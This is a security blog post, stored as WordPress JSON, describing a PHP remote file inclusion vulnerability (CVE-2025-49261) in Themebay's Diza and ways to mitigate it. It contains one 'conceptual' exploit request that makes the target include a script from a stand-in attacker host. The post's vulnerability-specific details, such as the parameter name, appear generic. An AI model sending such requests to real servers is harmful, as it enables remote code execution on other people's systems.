{"id":55905,"date":"2025-06-29T11:30:18","date_gmt":"2025-06-29T11:30:18","guid":{"rendered":""},"modified":"2025-09-04T20:50:59","modified_gmt":"2025-09-05T02:50:59","slug":"cve-2025-49261-high-impact-remote-file-inclusion-vulnerability-in-themebay-s-diza","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49261-high-impact-remote-file-inclusion-vulnerability-in-themebay-s-diza\/","title":{"rendered":"<strong>CVE-2025-49261: High Impact Remote File Inclusion Vulnerability in Themebay&#8217;s Diza<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity world is abuzz with the recent discovery of a major vulnerability, CVE-2025-49261, in the Themebay&#8217;s Diza. This flaw, a PHP Remote File Inclusion vulnerability, has a high potential to compromise systems or result in data leakage. It can be exploited by an attacker to execute arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49279-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogvy\/\"  data-wpil-monitor-id=\"62229\">PHP code in the vulnerable<\/a> system. Understanding this vulnerability, who it affects, and how to mitigate it is crucial for organizations using Diza versions up to 1.3.8.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49261<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62421\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2877630038\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Themebay Diza | Up to and including 1.3.8<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49154-insecure-access-control-vulnerability-in-trend-micro-products\/\"  data-wpil-monitor-id=\"62726\">vulnerability exists due to an improper control<\/a> of filename for include\/require statement in PHP program within the Diza software. An attacker can exploit this by sending a specially crafted request containing a path to a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49278-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogty\/\"  data-wpil-monitor-id=\"62221\">PHP file hosted on a remote<\/a> server. The Diza software will include and execute this malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49280-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magty\/\"  data-wpil-monitor-id=\"62236\">PHP file<\/a>, allowing the attacker to run arbitrary code on the server where Diza resides. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49847-buffer-overflow-vulnerability-in-llama-cpp-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"62614\">potentially lead<\/a> to a full system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2116267830\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker could theoretically exploit this vulnerability as shown in the conceptual example below:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/malicious.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>The &#8220;malicious_script.txt&#8221; could contain arbitrary PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49220-pre-authentication-remote-code-execution-in-trend-micro-apex-central\/\"  data-wpil-monitor-id=\"62547\">code that will be executed<\/a> on the server when the request is processed.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49251-php-remote-file-inclusion-vulnerability-in-themebay-fana\/\"  data-wpil-monitor-id=\"63314\">Themebay has already released a patch to address this vulnerability<\/a>. All users and administrators of Diza are strongly advised to update their software to the latest version. If it&#8217;s not possible to immediately update, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation. However, these measures can only limit the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43189-kernel-memory-exposure-vulnerability-in-macos\/\"  data-wpil-monitor-id=\"78897\">exposure to this vulnerability<\/a>, not completely eliminate it. Therefore, updating Diza to the patched version remains the most effective mitigation measure.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world is abuzz with the recent discovery of a major vulnerability, CVE-2025-49261, in the Themebay&#8217;s Diza. This flaw, a PHP Remote File Inclusion vulnerability, has a high potential to compromise systems or result in data leakage. It can be exploited by an attacker to execute arbitrary PHP code in the vulnerable system. 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